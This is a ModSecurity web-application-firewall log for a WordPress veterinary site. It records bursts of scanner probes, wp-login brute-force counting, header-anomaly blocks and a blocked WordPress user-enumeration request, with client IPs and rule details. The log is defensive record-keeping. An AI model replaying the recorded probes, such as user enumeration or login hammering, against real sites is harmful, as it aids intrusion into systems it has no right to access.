[Thu May 14 08:20:38.187635 2026] [:error] [pid 63033:tid 63040] [client 51.75.119.161:40910] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agUVVlMY49UWn5BpqVaIeAAAAQU"]
[Thu May 14 08:20:40.726325 2026] [:error] [pid 47721:tid 47738] [client 51.75.119.161:40924] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agUVWHEmh7_G0hfOa6s7LgAAAY8"]
[Thu May 14 08:20:43.179516 2026] [:error] [pid 47721:tid 47739] [client 51.75.119.161:40932] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agUVW3Emh7_G0hfOa6s7NgAAAZA"]
[Thu May 14 08:20:45.836259 2026] [:error] [pid 63033:tid 63045] [client 51.75.119.161:37172] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agUVXVMY49UWn5BpqVaIiQAAAQo"]
[Thu May 14 08:20:48.312287 2026] [:error] [pid 11690:tid 11717] [client 51.75.119.161:37178] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agUVYCnxWuLN8Hptw8mdfgAAANI"]
[Thu May 14 08:20:50.838332 2026] [:error] [pid 63033:tid 63058] [client 51.75.119.161:37184] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agUVYlMY49UWn5BpqVaIkAAAARc"]
[Thu May 14 08:20:53.286358 2026] [:error] [pid 11690:tid 11706] [client 51.75.119.161:37190] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agUVZSnxWuLN8Hptw8mdhgAAAMc"]
[Thu May 14 08:20:55.687674 2026] [:error] [pid 63033:tid 63035] [client 51.75.119.161:52688] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agUVZ1MY49UWn5BpqVaIkwAAAQA"]
[Thu May 14 08:20:58.224243 2026] [:error] [pid 63033:tid 63045] [client 51.75.119.161:52698] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agUValMY49UWn5BpqVaImgAAAQo"]
[Thu May 14 08:21:00.768486 2026] [:error] [pid 11690:tid 11711] [client 51.75.119.161:52704] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agUVbCnxWuLN8Hptw8mdqAAAAMw"]
[Thu May 14 08:21:03.210113 2026] [:error] [pid 11581:tid 11605] [client 51.75.119.161:52714] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agUVb_0vF48FbzpvQMWYhwAAAAg"]
[Thu May 14 08:21:05.546822 2026] [:error] [pid 47721:tid 47746] [client 51.75.119.161:34044] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "agUVcXEmh7_G0hfOa6s7TgAAAZc"]
[Thu May 14 08:21:08.085879 2026] [:error] [pid 47721:tid 47737] [client 51.75.119.161:34048] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "agUVdHEmh7_G0hfOa6s7VAAAAY4"]
[Thu May 14 08:21:10.439157 2026] [:error] [pid 11690:tid 11723] [client 51.75.119.161:34064] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "agUVdinxWuLN8Hptw8mdzgAAANg"]
[Thu May 14 08:21:12.802451 2026] [:error] [pid 11690:tid 11706] [client 51.75.119.161:34080] [client 51.75.119.161] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "agUVeCnxWuLN8Hptw8md3QAAAMc"]
[Thu May 14 08:27:31.702978 2026] [:error] [pid 47673:tid 47677] [client 204.168.247.33:54972] [client 204.168.247.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 204.168.247.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agUW8_CGe4cIn3sh5k3NGwAAAUI"]
[Thu May 14 08:27:33.195286 2026] [:error] [pid 47673:tid 47684] [client 204.168.247.33:54972] [client 204.168.247.33] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 204.168.247.33, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agUW9fCGe4cIn3sh5k3NHQAAAUk"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 08:56:22.633331 2026] [:error] [pid 63033:tid 63040] [client 88.135.73.76:34044] [client 88.135.73.76] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 88.135.73.76, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agUdtlMY49UWn5BpqVaQLwAAAQU"]
[Thu May 14 09:11:41.894012 2026] [:error] [pid 11690:tid 11722] [client 1.145.23.12:2482] [client 1.145.23.12] ModSecurity: collections_remove_stale: Failed deleting collection (name "ip", key "142.44.225.159_38fe0bde74a94317ba64948c2013b47a85fb6514"): Internal error (specific information not available) [hostname "vetstars.com.au"] [uri "/wp-content/uploads/elementor/google-fonts/css/paytoneone.css"] [unique_id "agUhSinxWuLN8Hptw8mwNgAAANc"], referer: https://vetstars.com.au/appointment/
[Thu May 14 10:04:33.927400 2026] [:error] [pid 63033:tid 63042] [client 43.153.86.78:53062] [client 43.153.86.78] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agUtsVMY49UWn5BpqVabxwAAAQc"]
[Thu May 14 10:29:12.139638 2026] [:error] [pid 47673:tid 47698] [client 43.165.1.10:51337] [client 43.165.1.10] ModSecurity: Access denied with code 403 (phase 3). Match of "validateByteRange 0-31" against "ARGS:_wpnonce" required. [file "/usr/local/apache/modsecurity-cwaf/rules/30_Apps_OtherApps.conf"] [line "6640"] [id "243420"] [rev "4"] [msg "COMODO WAF: Information disclosure vulnerability in Eclipse Jetty before 9.2.9.v20150224 (CVE-2015-2080)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "OtherApps"] [hostname "vetstars.com.au"] [uri "/wp-admin/admin-ajax.php"] [unique_id "agUzd_CGe4cIn3sh5k3dCAAAAVc"]
[Thu May 14 10:29:12.139808 2026] [proxy_fcgi:error] [pid 47673:tid 47698] (20014)Internal error (specific information not available): [client 43.165.1.10:51337] AH01075: Error dispatching request to : (passing brigade to output filters)
[Thu May 14 12:39:20.851451 2026] [:error] [pid 47721:tid 47739] [client 50.6.231.19:41484] [client 50.6.231.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.231.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVR-HEmh7_G0hfOa6uFBAAAAZA"]
[Thu May 14 12:39:23.660395 2026] [:error] [pid 47721:tid 47736] [client 50.6.231.19:41484] [client 50.6.231.19] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 50.6.231.19, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVR-3Emh7_G0hfOa6uFCQAAAY0"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 12:45:00.663466 2026] [:error] [pid 11588:tid 11653] [client 103.253.178.3:52966] [client 103.253.178.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.253.178.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVTTNUr21rOixkeGKZE4wAAAIE"]
[Thu May 14 12:45:02.117719 2026] [:error] [pid 11588:tid 11656] [client 103.253.178.3:52966] [client 103.253.178.3] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.253.178.3, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVTTtUr21rOixkeGKZE5gAAAIQ"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 12:48:54.795413 2026] [:error] [pid 11588:tid 11674] [client 162.62.132.25:39506] [client 162.62.132.25] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agVUNtUr21rOixkeGKZFzQAAAJY"]
[Thu May 14 12:55:45.108126 2026] [:error] [pid 47721:tid 47737] [client 46.32.255.52:44206] [client 46.32.255.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.32.255.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVV0XEmh7_G0hfOa6uMMQAAAY4"]
[Thu May 14 12:55:47.428686 2026] [:error] [pid 47721:tid 47733] [client 46.32.255.52:44206] [client 46.32.255.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.32.255.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVV03Emh7_G0hfOa6uMNgAAAYo"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 13:01:35.459799 2026] [:error] [pid 47721:tid 47735] [client 46.32.255.52:60934] [client 46.32.255.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.32.255.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVXL3Emh7_G0hfOa6uOxgAAAYw"]
[Thu May 14 13:01:37.123950 2026] [:error] [pid 47721:tid 47733] [client 46.32.255.52:60934] [client 46.32.255.52] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 46.32.255.52, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVXMXEmh7_G0hfOa6uO1AAAAYo"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 13:29:28.534315 2026] [:error] [pid 11588:tid 11657] [client 159.65.130.147:52134] [client 159.65.130.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.130.147, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVduNUr21rOixkeGKZPPgAAAIU"]
[Thu May 14 13:29:32.396355 2026] [:error] [pid 11588:tid 11655] [client 159.65.130.147:52134] [client 159.65.130.147] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 159.65.130.147, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVdvNUr21rOixkeGKZPRAAAAIM"], referer: https://vetstars.com.au/wp-login.php
[Thu May 14 14:54:55.915439 2026] [:error] [pid 11690:tid 11723] [client 103.172.76.104:5541] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVxvynxWuLN8Hptw8kHRAAAANg"]
[Thu May 14 14:55:00.857960 2026] [:error] [pid 11690:tid 11720] [client 103.172.76.104:21993] [client 103.172.76.104] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 103.172.76.104, incrementing brute counter"] [hostname "vetstars.com.au"] [uri "/wp-login.php"] [unique_id "agVxxCnxWuLN8Hptw8kHVAAAANU"], referer: https://vetstars.com.au/wp-login.php?redirect_to=https%3A%2F%2Fvetstars.com.au%2Fwp-admin%2F&reauth=1
[Thu May 14 15:05:33.067547 2026] [:error] [pid 47673:tid 47696] [client 43.165.67.31:44066] [client 43.165.67.31] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agV0PfCGe4cIn3sh5k0MogAAAVU"]
[Thu May 14 17:18:22.977502 2026] [:error] [pid 11582:tid 11632] [client 175.178.110.121:45226] [client 175.178.110.121] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agWTXvuw2cmFDpGcKhAoXgAAAEc"]
[Thu May 14 17:55:04.449397 2026] [:error] [pid 11581:tid 11609] [client 43.131.26.226:35540] [client 43.131.26.226] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agWb-P0vF48FbzpvQMXpiwAAAAw"]
[Thu May 14 19:59:36.438373 2026] [:error] [pid 47721:tid 47741] [client 43.153.54.14:37002] [client 43.153.54.14] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agW5KHEmh7_G0hfOa6sXbAAAAZI"]
[Thu May 14 21:28:28.506513 2026] [:error] [pid 47673:tid 47692] [client 78.88.230.100:41472] [client 78.88.230.100] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agXN_PCGe4cIn3sh5k0uwAAAAVE"]
[Thu May 14 22:20:58.453874 2026] [:error] [pid 47673:tid 47691] [client 81.167.26.57:20329] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20betflik.aspx"] [unique_id "agXaSvCGe4cIn3sh5k0yzAAAAVA"]
[Thu May 14 22:21:00.835485 2026] [:error] [pid 11581:tid 11614] [client 81.167.26.57:15306] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game%20slot.aspx"] [unique_id "agXaTP0vF48FbzpvQMU_VgAAABE"]
[Thu May 14 22:21:03.417928 2026] [:error] [pid 11588:tid 11675] [client 81.167.26.57:13519] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20game.aspx"] [unique_id "agXaT9Ur21rOixkeGKa_cQAAAJc"]
[Thu May 14 22:21:06.213575 2026] [:error] [pid 11588:tid 11655] [client 81.167.26.57:38289] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "agXaUtUr21rOixkeGKa_cgAAAIM"]
[Thu May 14 22:21:08.868816 2026] [:error] [pid 47721:tid 47735] [client 81.167.26.57:33704] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20joker.aspx"] [unique_id "agXaVHEmh7_G0hfOa6sv5QAAAYw"]
[Thu May 14 22:21:12.498490 2026] [:error] [pid 63033:tid 63045] [client 81.167.26.57:32395] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "agXaWFMY49UWn5BpqVYJjgAAAQo"]
[Thu May 14 22:21:15.102273 2026] [:error] [pid 63033:tid 63048] [client 81.167.26.57:44245] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agXaW1MY49UWn5BpqVYJlQAAAQ0"]
[Thu May 14 22:21:17.713647 2026] [:error] [pid 47673:tid 47684] [client 81.167.26.57:64212] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agXaXfCGe4cIn3sh5k0y0AAAAUk"]
[Thu May 14 22:21:20.298642 2026] [:error] [pid 11690:tid 11711] [client 81.167.26.57:62916] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agXaYCnxWuLN8Hptw8lAiwAAAMw"]
[Thu May 14 22:21:22.865698 2026] [:error] [pid 11581:tid 11603] [client 81.167.26.57:26086] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agXaYv0vF48FbzpvQMU_ewAAAAY"]
[Thu May 14 22:21:25.423967 2026] [:error] [pid 11581:tid 11602] [client 81.167.26.57:2148] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agXaZf0vF48FbzpvQMU_gQAAAAU"]
[Thu May 14 22:21:28.029871 2026] [:error] [pid 47721:tid 47730] [client 81.167.26.57:35052] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agXaaHEmh7_G0hfOa6sv8QAAAYc"]
[Thu May 14 22:21:30.573222 2026] [:error] [pid 11582:tid 11626] [client 81.167.26.57:12850] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agXaavuw2cmFDpGcKhA-AAAAAEE"]
[Thu May 14 22:21:33.047131 2026] [:error] [pid 47721:tid 47745] [client 81.167.26.57:19193] [client 81.167.26.57] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agXabXEmh7_G0hfOa6sv9AAAAZY"]
